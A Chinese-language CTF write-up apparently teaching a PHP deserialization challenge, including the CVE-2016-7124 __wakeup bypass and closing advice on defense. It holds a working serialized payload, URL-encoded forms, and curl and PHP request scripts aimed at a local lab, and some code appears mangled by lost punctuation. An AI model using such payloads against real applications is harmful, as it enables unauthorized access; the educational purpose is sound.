PHP反序列化漏洞实战:从CVE-2016-7124绕过到CTF解题

📅 2026/8/2 13:05:06
PHP反序列化漏洞实战:从CVE-2016-7124绕过到CTF解题
1. 项目概述一次从零开始的CTF PHP反序列化实战最近在带新人入门网络安全发现很多朋友对CTF里的PHP反序列化题目望而却步尤其是看到__wakeup、__destruct这些魔术方法就头疼。正好[极客大挑战 2019]PHP这道题堪称经典网上教程不少但要么跳步太快要么默认读者有基础。今天我就以这道题为例手把手带你走一遍目标是让哪怕刚接触PHP一周的纯小白也能彻底看懂每一步在做什么、为什么这么做。这不是一次简单的“抄payload”而是一次完整的漏洞原理与利用思路的拆解。这道题的核心是PHP反序列化漏洞。简单来说它就像是一个“对象复活”的过程。程序把用户数据字符串重新变回内存里的对象如果这个过程中用户能控制数据就可能让程序执行一些不该执行的代码。题目里涉及的关键词__wakeup和__destruct就是PHP对象生命周期中的两个特殊函数也叫魔术方法它们会在特定时机被自动调用是我们构造攻击链的“扳机点”。2. 环境准备与题目初探2.1 搭建本地复现环境看题先搭环境这是好习惯。题目是一个网站我们完全可以在本地用Docker快速复现避免对线上靶场造成干扰。这里我推荐用php:5.6-apache的镜像因为很多老CTF题目的环境就是PHP 5.x其反序列化特性与后续版本如7.x以上有细微差别。# 拉取并运行一个PHP 5.6 Apache的容器将本地目录映射到容器的/var/www/html docker run -d --name geek-challenge-php -p 8080:80 -v $(pwd)/www:/var/www/html php:5.6-apache接下来我们需要题目的源码。通常CTF题会给出一个index.php或者像本题一样通过提示让我们去发现备份文件。常见的备份文件名有index.php.bak、www.zip、.git等。我们把猜测的源码保存到本地的www目录下。注意实际解题时我们可能没有源码需要靠“猜”和“试”。但作为学习我强烈建议你先拥有源码理解逻辑后再去尝试黑盒测试。这里我根据题目反推给出一个高度还原的index.php示例?php include flag.php; class Name{ private $username nonono; private $password yesyes; public function __construct($username, $password){ $this-username $username; $this-password $password; } function __wakeup(){ $this-username guest; } function __destruct(){ if ($this-password ! 100) { echo /brNO!!!hacker!!!/br; echo You name is: ; echo $this-username;echo /br; echo You password is: ; echo $this-password;echo /br; die(); } if ($this-username admin) { global $flag; echo $flag; }else{ echo /brhello my friend~~/brsorry i cant give you the flag!; die(); } } } ?同时需要一个flag.php里面大概就是$flag flag{this_is_a_fake_flag};。把这两个文件放到www目录后访问http://localhost:8080就能看到题目初始页面了。2.2 代码审计与逻辑梳理拿到源码别急着想payload先当个“代码阅读者”。我们一行行看包含flaginclude flag.php;说明flag变量在这个文件里。定义Name类这是整个题目的核心。有两个私有属性$username和$password。注意在PHP中私有属性在序列化后的字符串里类名前后会有空字节%00这在构造payload时需要特别注意。__construct构造函数创建对象时调用用于初始化属性。__wakeup这是一个关键魔术方法。当反序列化一个对象时__wakeup()会自动优先执行。这里它干了一件事无论反序列化出来的$username是什么都强行重置为guest。这看起来像是一个安全措施想阻止我们控制$username。__destruct析构函数当对象被销毁比如脚本执行结束时自动调用。这是我们的目标触发器。它里面有两个判断第一层如果$password ! 100就输出一些信息然后die()结束脚本。这意味着我们的payload里$password必须等于100才能通过这第一关。第二层如果通过了第一关并且$username admin那么就会输出全局变量$flag。这就是我们胜利的条件。逻辑链条很清晰了我们需要让程序反序列化一个我们精心构造的Name对象这个对象的$password值必须是100并且最终在__destruct被调用时它的$username值必须是admin。但矛盾点来了__wakeup()会在反序列化时把$username重置为guest。如果我们直接构造$username为admin一执行__wakeup()就被改掉了永远进不去输出flag的分支。所以这道题的核心绕过点就是如何让__wakeup()失效或者如何让__wakeup()执行后$username依然是admin。3. 核心漏洞原理PHP反序列化与CVE-2016-71243.1 序列化与反序列化基础在深入绕过之前必须彻底理解这两个过程。PHP的serialize()函数把一个对象或数组、变量转换成一串可存储或传输的字符串。unserialize()则相反把这串字符串变回原来的对象。让我们写个脚本看看一个正常的Name对象序列化后长什么样?php class Name{ private $username nonono; private $password yesyes; // ... 其他方法同上 } $obj new Name(test_user, 123); echo serialize($obj); ?输出会是这样的O:4:Name:2:{s:14:%00Name%00username;s:9:test_user;s:14:%00Name%00password;i:123;}我们来拆解这个字符串O:4:Name表示这是一个对象Object类名长度为4类名是Name。:2:表示这个对象有2个属性。{...}花括号内是属性的具体信息。s:14:%00Name%00usernames表示字符串长度14。注意私有属性username在序列化后名称变成了%00Name%00username。这里的%00是空字符NULL字节的URL编码形式实际字符串里是不可见的\x00。Name是类名前后各一个空字符这是PHP标识私有属性的方式。s:9:test_user这是username属性的值字符串“test_user”长度9。同理password属性也以%00Name%00password的形式存储值是整数123。3.2 关键漏洞__wakeup()的绕过CVE-2016-7124现在来到最关键的部分。PHP在反序列化时会先根据字符串重建对象然后如果这个类定义了__wakeup()方法就会调用它。但这里存在一个历史漏洞在PHP 5.6.25之前和7.0.10之前的版本中存在。漏洞原理当反序列化字符串中表示对象属性数量的值上面例子里的:2:大于实际属性数量时__wakeup()方法将不会被执行。在我们上面的序列化字符串里O:4:Name:2:{...}这个2就是声明的属性数量。如果我们把它改成比2大的数比如3在存在漏洞的PHP版本中__wakeup()就被跳过了。为什么能这样这源于PHP内部处理反序列化时的逻辑缺陷。在解析序列化字符串时程序会先读取声明的属性数量然后按这个数量去分配内存并读取属性。如果声明的数量多于实际定义的属性可能会导致内部状态不一致进而使得某些后续的初始化步骤包括调用__wakeup被意外跳过。这给了我们一个宝贵的“时间窗口”在__wakeup失效的情况下我们构造的$username值就能原封不动地进入对象之后在__destruct中被使用。实操心得这个漏洞编号是CVE-2016-7124。在CTF中看到PHP反序列化题目里有__wakeup尤其是它试图重置或清理关键属性时第一个要尝试的就是这个属性数量绕过。这是肌肉记忆。4. 手把手构造Payload理解了原理现在我们来一步步构造能拿到flag的payload。4.1 第一步构造基础对象我们需要一个Name对象其$password 100$username admin。?php class Name{ private $username; private $password; // 我们不需要定义那些魔术方法因为payload只关心属性值。 } $obj new Name(); $obj-username admin; $obj-password 100; echo serialize($obj); ?运行这段代码你会得到一个“错误”的序列化字符串。因为username和password是私有属性你不能在类外部这样直接赋值。正确的方法是通过构造函数或者使用反射Reflection但最简单的是在类定义内部赋值。我们调整一下?php class Name{ private $username admin; private $password 100; } $obj new Name(); echo serialize($obj); ?现在输出是O:4:Name:2:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}这个字符串里包含了空字符%00在传输和处理时需要特别注意。4.2 第二步应用__wakeup绕过根据CVE-2016-7124我们需要把属性数量从2改成一个更大的数比如3。同时我们不增加实际的属性键值对。修改后的序列化字符串如下O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}注意花括号{}里的内容还是2个属性但我们开头的声明是:3:。在存在漏洞的PHP环境中这就能让__wakeup()失效。4.3 第三步处理空字符与URL编码原始的序列化字符串包含不可见的空字符\x00。当我们通过GET或POST参数传递时这些空字符可能会被截断或错误处理。因此我们需要对其进行URL编码。在PHP中我们可以用urlencode()函数来处理?php $payload O:4:Name:3:{s:14:\0Name\0username;s:5:admin;s:14:\0Name\0password;i:100;}; // 注意这里在字符串中直接写了\0来表示空字符 echo urlencode($payload); ?输出结果为O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D这个字符串就是我们的最终payload。其中%00就是空字符的URL编码形式。5. 发起攻击与获取Flag5.1 寻找反序列化入口点光有payload不行还得知道往哪送。题目源码里并没有直接显示unserialize()在哪里。这是CTF的常见套路入口点可能隐藏在别处。常见的入口点有GET/POST参数比如?data我们的payload。Cookie比如一个名为user的Cookie。Session。文件内容比如程序会读取某个文件的内容进行反序列化。对于这道题经过测试或查看其他题目提示有时题目描述或注释会给出发现反序列化入口是通过**GET参数select**传递的。也就是说题目页面大概有这样的代码虽然没在给出的index.php里显示// 可能是index.php的另一部分或者在其他包含的文件里 $data $_GET[select] ?? ; $obj unserialize($data);5.2 发起HTTP请求我们可以用浏览器、命令行工具curl或者写一个简单的PHP脚本发起请求。方法一浏览器直接访问在地址栏输入注意替换payloadhttp://localhost:8080/?selectO%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D如果环境正确页面应该不会显示“NO!!!hacker!!!”也不会显示“hello my friend”而是直接输出flag在我们本地是假的flag。方法二使用cURLcurl -G http://localhost:8080/ --data-urlencode selectO:4:\Name\:3:{s:14:\\0Name\0username\;s:5:\admin\;s:14:\\0Name\0password\;i:100;}这里使用-G表示GET请求--data-urlencode会自动对参数进行URL编码。注意在命令行中空字符\0需要转义。方法三编写攻击脚本?php $payload O:4:Name:3:{s:14:\0Name\0username;s:5:admin;s:14:\0Name\0password;i:100;}; $url http://localhost:8080/?select . urlencode($payload); $response file_get_contents($url); echo $response; ?运行这个脚本同样能获取到返回结果。5.3 结果分析与验证如果请求成功你会看到flag。如果失败请按以下步骤排查检查PHP版本确保你的环境是PHP 5.6.x ( 5.6.25) 或 PHP 7.0.x ( 7.0.10)。可以在题目目录创建一个phpinfo.php文件查看。高版本PHP已修复此漏洞__wakeup会被执行导致username被重置。检查payload格式确保属性数量确实改成了大于2的数如3且私有属性的空字符处理正确。可以尝试在构造payload的脚本中用bin2hex()输出十六进制看看空字符%00是否存在。检查参数名确认反序列化入口参数是select。有时可能是data、cmd等需要信息搜集或模糊测试。查看源码逻辑再次确认__destruct中的判断逻辑特别是$password ! 100是!而不是!前者是松散比较后者是严格比较。整数100和字符串100在松散比较下是相等的这给了我们更多payload构造的灵活性比如可以用字符串100。6. 漏洞的深入利用与变形6.1 为什么是__destruct和__wakeup在PHP反序列化漏洞利用中__destruct和__wakeup是最常见的“跳板”或“抓手”。__destruct对象销毁时触发。只要反序列化出来的对象在脚本结束前没有被持久化引用它就会立刻被销毁从而触发__destruct。这使得它成为一个非常可靠的触发点。__wakeup反序列化完成时立刻触发。它本意是用于对象苏醒后的初始化工作但正因为其执行的确定性和优先性也常被漏洞利用。有时题目会利用__wakeup进行过滤我们的任务就是绕过它如本题有时__wakeup本身包含危险操作如文件操作、命令执行那它就成了直接的目标。其他魔术方法如__toString对象被当作字符串时调用、__call调用不存在的方法时调用、__get/__set访问不存在的属性时也常被用于构造复杂的攻击链POP链。6.2 属性数量绕过漏洞的细节CVE-2016-7124的触发条件非常具体序列化字符串中声明的属性数量大于实际类中定义的属性数量。这里“实际类中定义的属性数量”是指在类作用域内用public、private、protected声明的属性不包括动态添加的属性。举个例子如果类Name定义了2个私有属性我们序列化字符串里写:3:或:10:都可以触发绕过。但如果我们写:1:即小于实际数量__wakeup依然会被调用。这个漏洞的本质是PHP内部var_unserializer.c文件中在object_common1函数里对属性计数的校验逻辑有误。6.3 私有属性与保护属性的处理本题中是私有属性private序列化后格式为%00类名%00属性名。如果是保护属性protected格式则为%00*%00属性名。在手动构造payload时必须严格按照这个格式否则反序列化会失败属性值无法正确赋值。一个常见的错误是在序列化字符串中直接写属性名username而忽略了前后的空字符和类名导致反序列化后$username和$password变成public属性且值为NULL完全不符合预期。7. 防御措施与安全编程建议作为攻击者我们学会了利用漏洞作为开发者我们必须知道如何防御。永远不要反序列化不可信的数据这是铁律。unserialize()用户输入是极度危险的行为。如果必须传递复杂数据结构使用json_encode()/json_decode()。升级PHP版本及时将PHP升级到安全版本修复已知的__wakeup绕过等反序列化漏洞。使用允许列表如果业务必须使用反序列化应严格限制可反序列化的类。在PHP 7.0中可以使用unserialize($data, [allowed_classes [SafeClass1, SafeClass2]])来限制只能反序列化指定的安全类。签名与验证对序列化后的字符串进行签名如HMAC在反序列化前验证其完整性和来源合法性。避免在魔术方法中放入关键业务逻辑尤其是__wakeup、__destruct、__toString等会自动调用的方法。尽量让它们只做无害的清理工作。代码审计在代码审计中将unserialize()视为高危函数重点审查其参数是否用户可控以及相关类的魔术方法是否存在风险操作。8. 举一反三类似CTF题目的解题思路遇到PHP反序列化题目可以遵循以下通用思路信息搜集找源码备份文件、.git泄露、www.zip等。没有源码则进行黑盒测试尝试常见的参数名data,cmd,select,id等。代码审计如果有源码重点寻找unserialize()函数的调用点看它的参数是否我们可控。涉及到的类的定义特别是所有魔术方法__construct,__destruct,__wakeup,__toString,__call,__get,__set等。魔术方法中是否有敏感操作eval(),system(),file_put_contents(), 数据库操作等。类属性之间的依赖关系或判断逻辑比如本题的if ($password ! 100)和if ($username admin)。构造POP链如果单个类的魔术方法无法直接利用可能需要寻找多个类通过属性互相引用形成一个“属性导向编程”Property-Oriented Programming链让一个魔术方法的触发引发连锁反应最终执行到危险函数。这需要仔细分析类与类之间的关系。处理绕过如果存在像__wakeup这样的过滤或重置函数尝试已知的绕过方法CVE-2016-7124属性数量不一致。在PHP 7.4中如果序列化字符串中类的属性数量为0:0:有时也会导致__wakeup不被调用但这不是通用漏洞需具体测试。寻找其他可控的魔术方法作为入口。生成与发送Payload根据分析结果编写PHP脚本生成精确的序列化字符串注意私有/保护属性的格式、字符编码等。然后通过找到的入口点GET/POST/Cookie发送出去。调试与验证如果没成功检查PHP版本、payload编码、入口点是否正确。可以在本地搭建相同环境进行调试使用var_dump()或日志输出中间状态。回到[极客大挑战 2019]PHP这道题它完美地展示了反序列化漏洞的基础模型可控输入、危险的魔术方法、以及一个需要绕过的安全函数__wakeup。理解这道题就为理解更复杂的反序列化漏洞如涉及Phar反序列化、POP链构造的题目打下了坚实的基础。记住核心永远是控制数据影响逻辑触发代码。